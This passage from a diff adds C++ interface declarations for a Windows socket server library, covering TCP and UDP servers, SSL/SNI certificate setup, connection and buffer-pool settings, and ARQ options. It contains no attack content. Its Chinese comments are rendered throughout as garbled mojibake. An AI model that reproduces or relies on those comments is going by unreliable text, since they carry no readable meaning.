澶辫触锛屽彲閫氳繃 GetLastError() 鑾峰彇閿欒浠g爜 + */ + virtual BOOL Stop () = 0; + + /* + * 鍚嶇О锛氬彂閫佹暟鎹 + * 鎻忚堪锛氬悜鎸囧畾杩炴帴鍙戦佹暟鎹 + * + * 鍙傛暟锛 dwConnID -- 杩炴帴 ID + * pBuffer -- 鍙戦佺紦鍐插尯 + * iLength -- 鍙戦佺紦鍐插尯闀垮害 + * iOffset -- 鍙戦佺紦鍐插尯鎸囬拡鍋忕Щ閲 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇閿欒浠g爜 + */ + virtual BOOL Send (CONNID dwConnID, const BYTE* pBuffer, int iLength, int iOffset = 0) = 0; + + /* + * 鍚嶇О锛氬彂閫佸缁勬暟鎹 + * 鎻忚堪锛氬悜鎸囧畾杩炴帴鍙戦佸缁勬暟鎹 + * TCP - 椤哄簭鍙戦佹墍鏈夋暟鎹寘 + * UDP - 鎶婃墍鏈夋暟鎹寘缁勫悎鎴愪竴涓暟鎹寘鍙戦侊紙鏁版嵁鍖呯殑鎬婚暱搴︿笉鑳藉ぇ浜庤缃殑 UDP 鍖呮渶澶ч暱搴︼級 + * + * 鍙傛暟锛 dwConnID -- 杩炴帴 ID + * pBuffers -- 鍙戦佺紦鍐插尯鏁扮粍 + * iCount -- 鍙戦佺紦鍐插尯鏁扮洰 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇閿欒浠g爜 + */ + virtual BOOL SendPackets(CONNID dwConnID, const WSABUF pBuffers[], int iCount) = 0; + + /* + * 鍚嶇О锛氭殏鍋/鎭㈠鎺ユ敹 + * 鎻忚堪锛氭殏鍋/鎭㈠鏌愪釜杩炴帴鐨勬暟鎹帴鏀跺伐浣 + * + * 鍙傛暟锛 dwConnID -- 杩炴帴 ID + * bPause -- TRUE - 鏆傚仠, FALSE - 鎭㈠ + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触 + */ + virtual BOOL PauseReceive(CONNID dwConnID, BOOL bPause = TRUE) = 0; + + /* + * 鍚嶇О锛氭柇寮杩炴帴 + * 鎻忚堪锛氭柇寮鏌愪釜杩炴帴 + * + * 鍙傛暟锛 dwConnID -- 杩炴帴 ID + * bForce -- 鏄惁寮哄埗鏂紑杩炴帴 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触 + */ + virtual BOOL Disconnect(CONNID dwConnID, BOOL bForce = TRUE) = 0; + + /* + * 鍚嶇О锛氭柇寮瓒呮椂杩炴帴 + * 鎻忚堪锛氭柇寮瓒呰繃鎸囧畾鏃堕暱鐨勮繛鎺 + * + * 鍙傛暟锛 dwPeriod -- 鏃堕暱锛堟绉掞級 + * bForce -- 鏄惁寮哄埗鏂紑杩炴帴 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触 + */ + virtual BOOL DisconnectLongConnections(DWORD dwPeriod, BOOL bForce = TRUE) = 0; + + /* + * 鍚嶇О锛氭柇寮闈欓粯杩炴帴 + * 鎻忚堪锛氭柇寮瓒呰繃鎸囧畾鏃堕暱鐨勯潤榛樿繛鎺 + * + * 鍙傛暟锛 dwPeriod -- 鏃堕暱锛堟绉掞級 + * bForce -- 鏄惁寮哄埗鏂紑杩炴帴 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触 + */ + virtual BOOL DisconnectSilenceConnections(DWORD dwPeriod, BOOL bForce = TRUE) = 0; + + /* + * 鍚嶇О锛氱瓑寰 + * 鎻忚堪锛氱瓑寰呴氫俊缁勪欢鍋滄杩愯 + * + * 鍙傛暟锛 dwMilliseconds -- 瓒呮椂鏃堕棿锛堟绉掞紝榛樿锛-1锛屾案涓嶈秴鏃讹級 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇閿欒浠g爜 + */ + virtual BOOL Wait(DWORD dwMilliseconds = INFINITE) = 0; + +public: + + /***********************************************************************/ + /***************************** 灞炴ц闂柟娉 *****************************/ + + /* + * 鍚嶇О锛氳缃繛鎺ョ殑闄勫姞鏁版嵁 + * 鎻忚堪锛氭槸鍚︿负杩炴帴缁戝畾闄勫姞鏁版嵁鎴栬呯粦瀹氫粈涔堟牱鐨勬暟鎹紝鍧囩敱搴旂敤绋嬪簭鑷韩鍐冲畾 + * + * 鍙傛暟锛 dwConnID -- 杩炴帴 ID + * pv -- 鏁版嵁 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛堟棤鏁堢殑杩炴帴 ID锛 + */ + virtual BOOL SetConnectionExtra (CONNID dwConnID, PVOID pExtra) = 0; + + /* + * 鍚嶇О锛氳幏鍙栬繛鎺ョ殑闄勫姞鏁版嵁 + * 鎻忚堪锛氭槸鍚︿负杩炴帴缁戝畾闄勫姞鏁版嵁鎴栬呯粦瀹氫粈涔堟牱鐨勬暟鎹紝鍧囩敱搴旂敤绋嬪簭鑷韩鍐冲畾 + * + * 鍙傛暟锛 dwConnID -- 杩炴帴 ID + * ppv -- 鏁版嵁鎸囬拡 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛堟棤鏁堢殑杩炴帴 ID锛 + */ + virtual BOOL GetConnectionExtra (CONNID dwConnID, PVOID* ppExtra) = 0; + + /* 妫娴嬫槸鍚︿负瀹夊叏杩炴帴锛圫SL/HTTPS锛 */ + virtual BOOL IsSecure () = 0; + /* 妫鏌ラ氫俊缁勪欢鏄惁宸插惎鍔 */ + virtual BOOL HasStarted () = 0; + /* 鏌ョ湅閫氫俊缁勪欢褰撳墠鐘舵 */ + virtual EnServiceState GetState () = 0; + /* 鑾峰彇杩炴帴鏁 */ + virtual DWORD GetConnectionCount () = 0; + /* 鑾峰彇鎵鏈夎繛鎺ョ殑 CONNID */ + virtual BOOL GetAllConnectionIDs (CONNID pIDs[], DWORD& dwCount) = 0; + /* 鑾峰彇鏌愪釜杩炴帴鏃堕暱锛堟绉掞級 */ + virtual BOOL GetConnectPeriod (CONNID dwConnID, DWORD& dwPeriod) = 0; + /* 鑾峰彇鏌愪釜杩炴帴闈欓粯鏃堕棿锛堟绉掞級 */ + virtual BOOL GetSilencePeriod (CONNID dwConnID, DWORD& dwPeriod) = 0; + /* 鑾峰彇鏌愪釜杩炴帴鐨勬湰鍦板湴鍧淇℃伅 */ + virtual BOOL GetLocalAddress (CONNID dwConnID, TCHAR lpszAddress[], int& iAddressLen, USHORT& usPort) = 0; + /* 鑾峰彇鏌愪釜杩炴帴鐨勮繙绋嬪湴鍧淇℃伅 */ + virtual BOOL GetRemoteAddress (CONNID dwConnID, TCHAR lpszAddress[], int& iAddressLen, USHORT& usPort) = 0; + /* 鑾峰彇鏈杩戜竴娆″け璐ユ搷浣滅殑閿欒浠g爜 */ + virtual EnSocketError GetLastError () = 0; + /* 鑾峰彇鏈杩戜竴娆″け璐ユ搷浣滅殑閿欒鎻忚堪 */ + virtual LPCTSTR GetLastErrorDesc () = 0; + /* 鑾峰彇杩炴帴涓湭鍙戝嚭鏁版嵁鐨勯暱搴 */ + virtual BOOL GetPendingDataLength (CONNID dwConnID, int& iPending) = 0; + /* 鑾峰彇杩炴帴鐨勬暟鎹帴鏀剁姸鎬 */ + virtual BOOL IsPauseReceive (CONNID dwConnID, BOOL& bPaused) = 0; + /* 妫娴嬫槸鍚︽湁鏁堣繛鎺 */ + virtual BOOL IsConnected (CONNID dwConnID) = 0; + + /* 璁剧疆鍦板潃閲嶇敤閫夐」 */ + virtual void SetReuseAddressPolicy(EnReuseAddressPolicy enReusePolicy) = 0; + /* 璁剧疆鏁版嵁鍙戦佺瓥鐣 */ + virtual void SetSendPolicy (EnSendPolicy enSendPolicy) = 0; + /* 璁剧疆 OnSend 浜嬩欢鍚屾绛栫暐锛堥粯璁わ細OSSP_NONE锛屼笉鍚屾锛 */ + virtual void SetOnSendSyncPolicy (EnOnSendSyncPolicy enSyncPolicy) = 0; + /* 璁剧疆鏈澶ц繛鎺ユ暟锛堢粍浠朵細鏍规嵁璁剧疆鍊奸鍒嗛厤鍐呭瓨锛屽洜姝ら渶瑕佹牴鎹疄闄呮儏鍐佃缃紝涓嶅疁杩囧ぇ锛*/ + virtual void SetMaxConnectionCount (DWORD dwMaxConnectionCount) = 0; + /* 璁剧疆 Socket 缂撳瓨瀵硅薄閿佸畾鏃堕棿锛堟绉掞紝鍦ㄩ攣瀹氭湡闂磋 Socket 缂撳瓨瀵硅薄涓嶈兘琚幏鍙栦娇鐢級 */ + virtual void SetFreeSocketObjLockTime (DWORD dwFreeSocketObjLockTime) = 0; + /* 璁剧疆 Socket 缂撳瓨姹犲ぇ灏忥紙閫氬父璁剧疆涓哄钩鍧囧苟鍙戣繛鎺ユ暟鐨 1/3 - 1/2锛 */ + virtual void SetFreeSocketObjPool (DWORD dwFreeSocketObjPool) = 0; + /* 璁剧疆鍐呭瓨鍧楃紦瀛樻睜澶у皬锛堥氬父璁剧疆涓 Socket 缂撳瓨姹犲ぇ灏忕殑 2 - 3 鍊嶏級 */ + virtual void SetFreeBufferObjPool (DWORD dwFreeBufferObjPool) = 0; + /* 璁剧疆 Socket 缂撳瓨姹犲洖鏀堕榾鍊硷紙閫氬父璁剧疆涓 Socket 缂撳瓨姹犲ぇ灏忕殑 3 鍊嶏級 */ + virtual void SetFreeSocketObjHold (DWORD dwFreeSocketObjHold) = 0; + /* 璁剧疆鍐呭瓨鍧楃紦瀛樻睜鍥炴敹闃鍊 */ + virtual void SetFreeBufferObjHold (DWORD dwFreeBufferObjHold) = 0; + /* 璁剧疆宸ヤ綔绾跨▼鏁伴噺锛堥氬父璁剧疆涓 2 * CPU + 2锛 */ + virtual void SetWorkerThreadCount (DWORD dwWorkerThreadCount) = 0; + /* 璁剧疆鏄惁鏍囪闈欓粯鏃堕棿锛堣缃负 TRUE 鏃 DisconnectSilenceConnections() 鍜 GetSilencePeriod() 鎵嶆湁鏁堬紝榛樿锛歍RUE锛 */ + virtual void SetMarkSilence (BOOL bMarkSilence) = 0; + + /* 鑾峰彇鍦板潃閲嶇敤閫夐」 */ + virtual EnReuseAddressPolicy GetReuseAddressPolicy () = 0; + /* 鑾峰彇鏁版嵁鍙戦佺瓥鐣 */ + virtual EnSendPolicy GetSendPolicy () = 0; + /* 鑾峰彇 OnSend 浜嬩欢鍚屾绛栫暐 */ + virtual EnOnSendSyncPolicy GetOnSendSyncPolicy () = 0; + /* 鑾峰彇鏈澶ц繛鎺ユ暟 */ + virtual DWORD GetMaxConnectionCount () = 0; + /* 鑾峰彇 Socket 缂撳瓨瀵硅薄閿佸畾鏃堕棿 */ + virtual DWORD GetFreeSocketObjLockTime () = 0; + /* 鑾峰彇 Socket 缂撳瓨姹犲ぇ灏 */ + virtual DWORD GetFreeSocketObjPool () = 0; + /* 鑾峰彇鍐呭瓨鍧楃紦瀛樻睜澶у皬 */ + virtual DWORD GetFreeBufferObjPool () = 0; + /* 鑾峰彇 Socket 缂撳瓨姹犲洖鏀堕榾鍊 */ + virtual DWORD GetFreeSocketObjHold () = 0; + /* 鑾峰彇鍐呭瓨鍧楃紦瀛樻睜鍥炴敹闃鍊 */ + virtual DWORD GetFreeBufferObjHold () = 0; + /* 鑾峰彇宸ヤ綔绾跨▼鏁伴噺 */ + virtual DWORD GetWorkerThreadCount () = 0; + /* 妫娴嬫槸鍚︽爣璁伴潤榛樻椂闂 */ + virtual BOOL IsMarkSilence () = 0; + +public: + virtual ~IComplexSocket() {} +}; + +/************************************************************************ +鍚嶇О锛氶氫俊鏈嶅姟绔粍浠舵帴鍙 +鎻忚堪锛氬畾涔夐氫俊鏈嶅姟绔粍浠剁殑鎵鏈夋搷浣滄柟娉曞拰灞炴ц闂柟娉 +************************************************************************/ +class IServer : public IComplexSocket +{ +public: + + /***********************************************************************/ + /***************************** 缁勪欢鎿嶄綔鏂规硶 *****************************/ + + /* + * 鍚嶇О锛氬惎鍔ㄩ氫俊缁勪欢 + * 鎻忚堪锛氬惎鍔ㄦ湇鍔$閫氫俊缁勪欢锛屽惎鍔ㄥ畬鎴愬悗鍙紑濮嬫帴鏀跺鎴风杩炴帴骞舵敹鍙戞暟鎹 + * + * 鍙傛暟锛 lpszBindAddress -- 鐩戝惉鍦板潃 + * usPort -- 鐩戝惉绔彛 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 GetLastError() 鑾峰彇閿欒浠g爜 + */ + virtual BOOL Start (LPCTSTR lpszBindAddress, USHORT usPort) = 0; + +public: + + /***********************************************************************/ + /***************************** 灞炴ц闂柟娉 *****************************/ + + /* 鑾峰彇鐩戝惉 Socket 鐨勫湴鍧淇℃伅 */ + virtual BOOL GetListenAddress(TCHAR lpszAddress[], int& iAddressLen, USHORT& usPort) = 0; +}; + +/************************************************************************ +鍚嶇О锛歍CP 閫氫俊鏈嶅姟绔粍浠舵帴鍙 +鎻忚堪锛氬畾涔 TCP 閫氫俊鏈嶅姟绔粍浠剁殑鎵鏈夋搷浣滄柟娉曞拰灞炴ц闂柟娉 +************************************************************************/ +class ITcpServer : public IServer +{ +public: + + /***********************************************************************/ + /***************************** 缁勪欢鎿嶄綔鏂规硶 *****************************/ + + /* + * 鍚嶇О锛氬彂閫佸皬鏂囦欢 + * 鎻忚堪锛氬悜鎸囧畾杩炴帴鍙戦 4096 KB 浠ヤ笅鐨勫皬鏂囦欢 + * + * 鍙傛暟锛 dwConnID -- 杩炴帴 ID + * lpszFileName -- 鏂囦欢璺緞 + * pHead -- 澶撮儴闄勫姞鏁版嵁 + * pTail -- 灏鹃儴闄勫姞鏁版嵁 + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇閿欒浠g爜 + */ + virtual BOOL SendSmallFile(CONNID dwConnID, LPCTSTR lpszFileName, const LPWSABUF pHead = nullptr, const LPWSABUF pTail = nullptr) = 0; + +#ifdef _SSL_SUPPORT + /* + * 鍚嶇О锛氬垵濮嬪寲閫氫俊缁勪欢 SSL 鐜鍙傛暟 + * 鎻忚堪锛歋SL 鐜鍙傛暟蹇呴』鍦 SSL 閫氫俊缁勪欢鍚姩鍓嶅畬鎴愬垵濮嬪寲锛屽惁鍒欏惎鍔ㄥけ璐 + * + * 鍙傛暟锛 iVerifyMode -- SSL 楠岃瘉妯″紡锛堝弬鑰 EnSSLVerifyMode锛 + * lpszPemCertFile -- 璇佷功鏂囦欢 + * lpszPemKeyFile -- 绉侀挜鏂囦欢 + * lpszKeyPassword -- 绉侀挜瀵嗙爜锛堟病鏈夊瘑鐮佸垯涓虹┖锛 + * lpszCAPemCertFileOrPath -- CA 璇佷功鏂囦欢鎴栫洰褰曪紙鍗曞悜楠岃瘉鎴栧鎴风鍙夛級 + * fnServerNameCallback -- SNI 鍥炶皟鍑芥暟鎸囬拡锛堝彲閫夛紝濡傛灉涓 nullptr 鍒欎娇鐢 SNI 榛樿鍥炶皟鍑芥暟锛 + * + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇澶辫触鍘熷洜 + */ + virtual BOOL SetupSSLContext(int iVerifyMode = SSL_VM_NONE, LPCTSTR lpszPemCertFile = nullptr, LPCTSTR lpszPemKeyFile = nullptr, LPCTSTR lpszKeyPassword = nullptr, LPCTSTR lpszCAPemCertFileOrPath = nullptr, Fn_SNI_ServerNameCallback fnServerNameCallback = nullptr) = 0; + + /* + * 鍚嶇О锛氬垵濮嬪寲閫氫俊缁勪欢 SSL 鐜鍙傛暟锛堥氳繃鍐呭瓨鍔犺浇璇佷功锛 + * 鎻忚堪锛歋SL 鐜鍙傛暟蹇呴』鍦 SSL 閫氫俊缁勪欢鍚姩鍓嶅畬鎴愬垵濮嬪寲锛屽惁鍒欏惎鍔ㄥけ璐 + * + * 鍙傛暟锛 iVerifyMode -- SSL 楠岃瘉妯″紡锛堝弬鑰 EnSSLVerifyMode锛 + * lpszPemCert -- 璇佷功鍐呭 + * lpszPemKey -- 绉侀挜鍐呭 + * lpszKeyPassword -- 绉侀挜瀵嗙爜锛堟病鏈夊瘑鐮佸垯涓虹┖锛 + * lpszCAPemCert -- CA 璇佷功鍐呭锛堝崟鍚戦獙璇佹垨瀹㈡埛绔彲閫夛級 + * fnServerNameCallback -- SNI 鍥炶皟鍑芥暟鎸囬拡锛堝彲閫夛紝濡傛灉涓 nullptr 鍒欎娇鐢 SNI 榛樿鍥炶皟鍑芥暟锛 + * + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇澶辫触鍘熷洜 + */ + virtual BOOL SetupSSLContextByMemory(int iVerifyMode = SSL_VM_NONE, LPCSTR lpszPemCert = nullptr, LPCSTR lpszPemKey = nullptr, LPCSTR lpszKeyPassword = nullptr, LPCSTR lpszCAPemCert = nullptr, Fn_SNI_ServerNameCallback fnServerNameCallback = nullptr) = 0; + + /* + * 鍚嶇О锛氬鍔 SNI 涓绘満璇佷功 + * 鎻忚堪锛歋SL 鏈嶅姟绔湪 SetupSSLContext() 鎴愬姛鍚庡彲浠ヨ皟鐢ㄦ湰鏂规硶澧炲姞澶氫釜 SNI 涓绘満璇佷功 + * + * 鍙傛暟锛 iVerifyMode -- SSL 楠岃瘉妯″紡锛堝弬鑰 EnSSLVerifyMode锛 + * lpszPemCertFile -- 璇佷功鏂囦欢 + * lpszPemKeyFile -- 绉侀挜鏂囦欢 + * lpszKeyPassword -- 绉侀挜瀵嗙爜锛堟病鏈夊瘑鐮佸垯涓虹┖锛 + * lpszCAPemCertFileOrPath -- CA 璇佷功鏂囦欢鎴栫洰褰曪紙鍗曞悜楠岃瘉鍙夛級 + * + * 杩斿洖鍊硷細 姝f暟 -- 鎴愬姛锛屽苟杩斿洖 SNI 涓绘満璇佷功瀵瑰簲鐨勭储寮曪紝璇ョ储寮曠敤浜庡湪 SNI 鍥炶皟鍑芥暟涓畾浣 SNI 涓绘満 + * 璐熸暟 -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇澶辫触鍘熷洜 + */ + virtual int AddSSLContext(int iVerifyMode = SSL_VM_NONE, LPCTSTR lpszPemCertFile = nullptr, LPCTSTR lpszPemKeyFile = nullptr, LPCTSTR lpszKeyPassword = nullptr, LPCTSTR lpszCAPemCertFileOrPath = nullptr) = 0; + + /* + * 鍚嶇О锛氬鍔 SNI 涓绘満璇佷功锛堥氳繃鍐呭瓨鍔犺浇璇佷功锛 + * 鎻忚堪锛歋SL 鏈嶅姟绔湪 SetupSSLContext() 鎴愬姛鍚庡彲浠ヨ皟鐢ㄦ湰鏂规硶澧炲姞澶氫釜 SNI 涓绘満璇佷功 + * + * 鍙傛暟锛 iVerifyMode -- SSL 楠岃瘉妯″紡锛堝弬鑰 EnSSLVerifyMode锛 + * lpszPemCert -- 璇佷功鍐呭 + * lpszPemKey -- 绉侀挜鍐呭 + * lpszKeyPassword -- 绉侀挜瀵嗙爜锛堟病鏈夊瘑鐮佸垯涓虹┖锛 + * lpszCAPemCert -- CA 璇佷功鍐呭锛堝崟鍚戦獙璇佸彲閫夛級 + * + * 杩斿洖鍊硷細 姝f暟 -- 鎴愬姛锛屽苟杩斿洖 SNI 涓绘満璇佷功瀵瑰簲鐨勭储寮曪紝璇ョ储寮曠敤浜庡湪 SNI 鍥炶皟鍑芥暟涓畾浣 SNI 涓绘満 + * 璐熸暟 -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇澶辫触鍘熷洜 + */ + virtual int AddSSLContextByMemory(int iVerifyMode = SSL_VM_NONE, LPCSTR lpszPemCert = nullptr, LPCSTR lpszPemKey = nullptr, LPCSTR lpszKeyPassword = nullptr, LPCSTR lpszCAPemCert = nullptr) = 0; + + /* + * 鍚嶇О锛氱粦瀹 SNI 涓绘満鍩熷悕 + * 鎻忚堪锛歋SL 鏈嶅姟绔湪 AddSSLContext() 鎴愬姛鍚庡彲浠ヨ皟鐢ㄦ湰鏂规硶缁戝畾涓绘満鍩熷悕鍒 SNI 涓绘満璇佷功 + * + * 鍙傛暟锛 lpszServerName -- 涓绘満鍩熷悕 + * iContextIndex -- SNI 涓绘満璇佷功瀵瑰簲鐨勭储寮 + * + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇澶辫触鍘熷洜 + */ + virtual BOOL BindSSLServerName(LPCTSTR lpszServerName, int iContextIndex) = 0; + + /* + * 鍚嶇О锛氭竻鐞嗛氫俊缁勪欢 SSL 杩愯鐜 + * 鎻忚堪锛氭竻鐞嗛氫俊缁勪欢 SSL 杩愯鐜锛屽洖鏀 SSL 鐩稿叧鍐呭瓨 + * 1銆侀氫俊缁勪欢鏋愭瀯鏃朵細鑷姩璋冪敤鏈柟娉 + * 2銆佸綋瑕侀噸鏂拌缃氫俊缁勪欢 SSL 鐜鍙傛暟鏃讹紝闇瑕佸厛璋冪敤鏈柟娉曟竻鐞嗗師鍏堢殑鐜鍙傛暟 + * + * 鍙傛暟锛 鏃 + * + * 杩斿洖鍊硷細鏃 + */ + virtual void CleanupSSLContext() = 0; + + /* + * 鍚嶇О锛氬惎鍔 SSL 鎻℃墜 + * 鎻忚堪锛氬綋閫氫俊缁勪欢璁剧疆涓洪潪鑷姩鎻℃墜鏃讹紝闇瑕佽皟鐢ㄦ湰鏂规硶鍚姩 SSL 鎻℃墜 + * + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇澶辫触鍘熷洜 + */ + virtual BOOL StartSSLHandShake(CONNID dwConnID) = 0; + +#endif + +public: + + /***********************************************************************/ + /***************************** 灞炴ц闂柟娉 *****************************/ + + /* 璁剧疆 Accept 棰勬姇閫掓暟閲忥紙鏍规嵁璐熻浇璋冩暣璁剧疆锛孉ccept 棰勬姇閫掓暟閲忚秺澶у垯鏀寔鐨勫苟鍙戣繛鎺ヨ姹傝秺澶氾級 */ + virtual void SetAcceptSocketCount (DWORD dwAcceptSocketCount) = 0; + /* 璁剧疆閫氫俊鏁版嵁缂撳啿鍖哄ぇ灏忥紙鏍规嵁骞冲潎閫氫俊鏁版嵁鍖呭ぇ灏忚皟鏁磋缃紝閫氬父璁剧疆涓 1024 鐨勫嶆暟锛 */ + virtual void SetSocketBufferSize (DWORD dwSocketBufferSize) = 0; + /* 璁剧疆鐩戝惉 Socket 鐨勭瓑鍊欓槦鍒楀ぇ灏忥紙鏍规嵁骞跺彂杩炴帴鏁伴噺璋冩暣璁剧疆锛 */ + virtual void SetSocketListenQueue (DWORD dwSocketListenQueue) = 0; + /* 璁剧疆姝e父蹇冭烦鍖呴棿闅旓紙姣锛0 鍒欎笉鍙戦佸績璺冲寘锛岄粯璁わ細60 * 1000锛 */ + virtual void SetKeepAliveTime (DWORD dwKeepAliveTime) = 0; + /* 璁剧疆寮傚父蹇冭烦鍖呴棿闅旓紙姣锛0 涓嶅彂閫佸績璺冲寘锛岋紝榛樿锛20 * 1000锛屽鏋滆秴杩囪嫢骞叉 [榛樿锛歐inXP 5 娆, Win7 10 娆 妫娴嬩笉鍒板績璺崇‘璁ゅ寘鍒欒涓哄凡鏂嚎锛 */ + virtual void SetKeepAliveInterval (DWORD dwKeepAliveInterval) = 0; + /* 璁剧疆鏄惁寮鍚 nodelay 妯″紡锛堥粯璁わ細FALSE锛屼笉寮鍚級 */ + virtual void SetNoDelay (BOOL bNoDelay) = 0; + + /* 鑾峰彇 Accept 棰勬姇閫掓暟閲 */ + virtual DWORD GetAcceptSocketCount () = 0; + /* 鑾峰彇閫氫俊鏁版嵁缂撳啿鍖哄ぇ灏 */ + virtual DWORD GetSocketBufferSize () = 0; + /* 鑾峰彇鐩戝惉 Socket 鐨勭瓑鍊欓槦鍒楀ぇ灏 */ + virtual DWORD GetSocketListenQueue () = 0; + /* 鑾峰彇姝e父蹇冭烦鍖呴棿闅 */ + virtual DWORD GetKeepAliveTime () = 0; + /* 鑾峰彇寮傚父蹇冭烦鍖呴棿闅 */ + virtual DWORD GetKeepAliveInterval () = 0; + /* 妫鏌ユ槸鍚﹀紑鍚 nodelay 妯″紡 */ + virtual BOOL IsNoDelay () = 0; + +#ifdef _SSL_SUPPORT + /* 璁剧疆閫氫俊缁勪欢鎻℃墜鏂瑰紡锛堥粯璁わ細TRUE锛岃嚜鍔ㄦ彙鎵嬶級 */ + virtual void SetSSLAutoHandShake(BOOL bAutoHandShake) = 0; + /* 鑾峰彇閫氫俊缁勪欢鎻℃墜鏂瑰紡 */ + virtual BOOL IsSSLAutoHandShake() = 0; + + /* 璁剧疆 SSL 鍔犲瘑绠楁硶鍒楄〃 */ + virtual void SetSSLCipherList(LPCTSTR lpszCipherList) = 0; + /* 鑾峰彇 SSL 鍔犲瘑绠楁硶鍒楄〃 */ + virtual LPCTSTR GetSSLCipherList() = 0; + + /* + * 鍚嶇О锛氳幏鍙 SSL Session 淇℃伅 + * 鎻忚堪锛氳幏鍙栨寚瀹氱被鍨嬬殑 SSL Session 淇℃伅锛堣緭鍑虹被鍨嬪弬鑰冿細EnSSLSessionInfo锛 + * + * 杩斿洖鍊硷細 TRUE -- 鎴愬姛 + * FALSE -- 澶辫触锛屽彲閫氳繃 SYS_GetLastError() 鑾峰彇澶辫触鍘熷洜 + */ + virtual BOOL GetSSLSessionInfo(CONNID dwConnID, EnSSLSessionInfo enInfo, LPVOID* lppInfo) = 0; +#endif + +}; + +#ifdef _UDP_SUPPORT + +/************************************************************************ +鍚嶇О锛歎DP 閫氫俊鏈嶅姟绔粍浠舵帴鍙 +鎻忚堪锛氬畾涔 UDP 閫氫俊鏈嶅姟绔粍浠剁殑鎵鏈夋搷浣滄柟娉曞拰灞炴ц闂柟娉 +************************************************************************/ +class IUdpServer : public IServer +{ +public: + + /***********************************************************************/ + /***************************** 缁勪欢鎿嶄綔鏂规硶 *****************************/ + +public: + + /***********************************************************************/ + /***************************** 灞炴ц闂柟娉 *****************************/ + + /* 璁剧疆鏁版嵁鎶ユ枃鏈澶ч暱搴︼紙寤鸿鍦ㄥ眬鍩熺綉鐜涓嬩笉瓒呰繃 1432 瀛楄妭锛屽湪骞垮煙缃戠幆澧冧笅涓嶈秴杩 548 瀛楄妭锛 */ + virtual void SetMaxDatagramSize (DWORD dwMaxDatagramSize) = 0; + /* 鑾峰彇鏁版嵁鎶ユ枃鏈澶ч暱搴 */ + virtual DWORD GetMaxDatagramSize () = 0; + + /* 璁剧疆 Receive 棰勬姇閫掓暟閲忥紙鏍规嵁璐熻浇璋冩暣璁剧疆锛孯eceive 棰勬姇閫掓暟閲忚秺澶у垯涓㈠寘姒傜巼瓒婂皬锛 */ + virtual void SetPostReceiveCount (DWORD dwPostReceiveCount) = 0; + /* 鑾峰彇 Receive 棰勬姇閫掓暟閲 */ + virtual DWORD GetPostReceiveCount () = 0; + + /* 璁剧疆鐩戞祴鍖呭皾璇曟鏁帮紙0 鍒欎笉鍙戦佺洃娴嬭烦鍖咃紝濡傛灉瓒呰繃鏈澶у皾璇曟鏁板垯璁や负宸叉柇绾匡級 */ + virtual void SetDetectAttempts (DWORD dwDetectAttempts) = 0; + /* 璁剧疆鐩戞祴鍖呭彂閫侀棿闅旓紙姣锛0 涓嶅彂閫佺洃娴嬪寘锛 */ + virtual void SetDetectInterval (DWORD dwDetectInterval) = 0; + /* 鑾峰彇蹇冭烦妫鏌ユ鏁 */ + virtual DWORD GetDetectAttempts () = 0; + /* 鑾峰彇蹇冭烦妫鏌ラ棿闅 */ + virtual DWORD GetDetectInterval () = 0; +}; + +/************************************************************************ +鍚嶇О锛歋erver/Agent ARQ 妯″瀷缁勪欢鎺ュ彛 +鎻忚堪锛氬畾涔 Server/Agent 缁勪欢鐨 ARQ 妯″瀷缁勪欢鐨勬墍鏈夋搷浣滄柟娉 +************************************************************************/ +class IArqSocket +{ +public: + + /***********************************************************************/ + /***************************** 缁勪欢鎿嶄綔鏂规硶 *****************************/ + +public: + + /***********************************************************************/ + /***************************** 灞炴ц闂柟娉 *****************************/ + + /* 璁剧疆鏄惁寮鍚 nodelay 妯″紡锛堥粯璁わ細FALSE锛屼笉寮鍚級 */ + virtual void SetNoDelay (BOOL bNoDelay) = 0; + /* 璁剧疆鏄惁鍏抽棴鎷ュ鎺у埗锛堥粯璁わ細FALSE锛屼笉鍏抽棴锛 */ + virtual void SetTurnoffCongestCtrl (BOOL bTurnOff) = 0; + /* 璁剧疆鏁版嵁鍒锋柊闂撮殧锛堟绉掞紝榛樿锛60锛 */ + virtual void SetFlushInterval (DWORD dwFlushInterval) = 0; + /* 璁剧疆蹇熼噸浼 ACK 璺ㄨ秺娆℃暟锛堥粯璁わ細0锛屽叧闂揩閫熼噸浼狅級 */ + virtual void SetResendByAcks (DWORD dwResendByAcks) = 0; + /* 璁剧疆鍙戦佺獥鍙eぇ灏忥紙鏁版嵁鍖呮暟閲忥紝榛樿锛128锛 */ + virtual void SetSendWndSize (DWORD dwSendWndSize) = 0; + /* 璁剧疆鎺ユ敹绐楀彛澶у皬锛堟暟鎹寘鏁伴噺锛岄粯璁わ細512锛 */ + virtual void SetRecvWndSize (DWORD dwRecvWndSize) = 0; + /* 